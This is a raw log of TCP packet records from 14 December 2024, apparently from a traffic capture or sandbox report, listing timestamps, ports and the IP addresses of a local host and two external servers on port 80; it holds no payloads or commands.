Dec 14, 2024 14:56:31.841169119 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.841226101 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.841226101 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.842253923 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.842366934 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.842411041 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.843430996 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.843616962 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.843676090 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.844515085 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.844571114 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.844604969 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.844655037 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.845791101 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.845834017 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.845913887 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.845954895 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.846729040 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.846776962 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.846807003 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.846851110 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.864728928 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.864737988 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.864748001 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.864780903 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.864814043 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.864841938 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.864886045 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.865854025 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.865917921 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.865976095 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.866014957 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.866946936 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.866997004 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.867012024 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.867047071 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.867742062 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.867780924 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.867868900 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.867959976 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.868879080 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.868916988 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.869054079 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.869102001 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.869971991 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.870021105 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.870085955 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.870399952 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.871155024 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.871243954 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.871285915 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.872304916 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.872342110 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.872473955 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.872513056 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.873358965 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.873398066 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.873471975 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.873511076 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.874438047 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.874490023 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.874491930 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.874525070 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.875572920 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.875628948 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.875655890 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.875689983 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.876672983 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.876712084 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.876786947 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.876827002 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.877882004 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.877891064 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.877928972 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.878973961 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.879015923 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.879158974 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.879196882 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.880026102 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.880076885 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.880079031 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.880143881 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.881289959 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.881336927 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.881352901 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.881381035 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.882244110 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.882301092 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.882338047 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.882376909 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.883397102 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.883454084 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.883485079 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.883522987 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.884474993 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.884531021 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.884675026 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.884725094 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.885618925 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.885637045 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.885674000 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.885689974 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.886698008 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.886754990 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.886795044 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.886841059 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.887820005 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.887883902 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.887916088 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.887959003 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.888926029 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.888953924 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:31.888971090 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.888993979 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:31.939066887 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.939182043 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.939436913 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.939735889 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.939862967 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.939929962 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.941066980 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.941164970 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.941232920 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.942384958 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.942501068 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.942558050 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.943727016 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.943819046 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.943933964 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.945019960 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.945130110 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.945194006 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.946321964 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.946439981 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.946494102 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.947714090 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.947830915 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.947889090 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.948954105 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.949038029 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.949162960 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.950223923 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.950273991 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.950354099 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.951550961 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.951649904 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.952259064 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.952892065 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.952990055 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.953227997 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.954149008 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.954267979 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.954323053 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.955476046 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.955535889 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.955596924 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.956758022 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.956916094 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.956973076 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.958065033 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.958159924 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.958220959 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.959759951 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.959914923 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.959976912 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.961236954 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.961286068 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.961733103 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.962342978 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.962449074 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.962696075 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.963589907 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.963668108 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.963745117 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.965121984 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.965292931 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.965440035 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.966546059 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.966677904 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.966733932 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.967885017 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.968050957 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.968111992 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.969345093 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.969582081 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.969732046 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.971299887 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.971438885 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.971641064 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.972847939 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.973007917 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.973090887 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.973937988 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.974014044 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.974076986 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.974905968 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.974942923 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.975342035 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.976121902 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.976232052 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.976300955 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.977097034 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.977154970 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.977226973 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.977962017 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.978018999 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.978281975 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.978915930 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.979012012 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.979130030 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.980211020 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.980328083 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.980392933 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.981539011 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.981647015 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.981724024 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.982881069 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.983016014 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.983294964 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.984123945 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.984283924 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.984496117 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.985428095 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.985543966 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.985621929 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.986707926 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.986845016 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.986924887 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.988028049 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.988149881 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.988213062 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.989372969 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.989454031 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.989574909 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.990619898 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.990758896 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.990822077 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.991941929 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.992063999 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.992124081 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.993222952 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.993319988 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.993515968 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.994725943 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.994837046 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.994903088 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.995910883 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.996016979 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.996140957 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.997174978 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.997267008 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.997546911 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.998441935 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.998568058 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.998631954 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:31.999743938 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.999897957 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:31.999964952 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.001060009 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.001168966 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.001578093 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.002404928 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.002469063 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.002631903 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.003655910 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.003839970 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.003906012 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.004964113 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.005068064 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.005140066 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.006272078 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.006381989 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.006441116 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.007586002 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.010695934 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.010755062 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.010826111 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.010864019 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.011234045 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.011282921 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.011337042 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.011374950 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.012398958 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.012440920 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.012526989 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.012636900 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.013523102 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.013580084 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.013658047 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.013694048 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.014584064 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.014698982 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.014976978 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.015871048 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.015913010 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.015944004 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.015979052 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.016937017 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.016978979 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.016999960 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.017040968 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.017935991 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.017992020 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.018040895 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.018078089 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.019032955 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.019088030 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.019150019 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.019280910 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.020158052 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.020205975 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.020277023 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.020551920 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.021322012 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.021369934 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.021461010 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.021497011 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.022433996 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.022478104 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.022504091 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.022537947 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.023552895 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.023618937 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.023673058 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.023722887 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.024630070 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.024668932 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.024739027 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.024867058 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.025749922 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.025793076 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.025841951 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.026154995 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.026850939 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.026894093 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.026973009 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.027013063 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.027977943 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.028034925 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.028055906 CET	80	49876	31.41.244.11	192.168.2.5
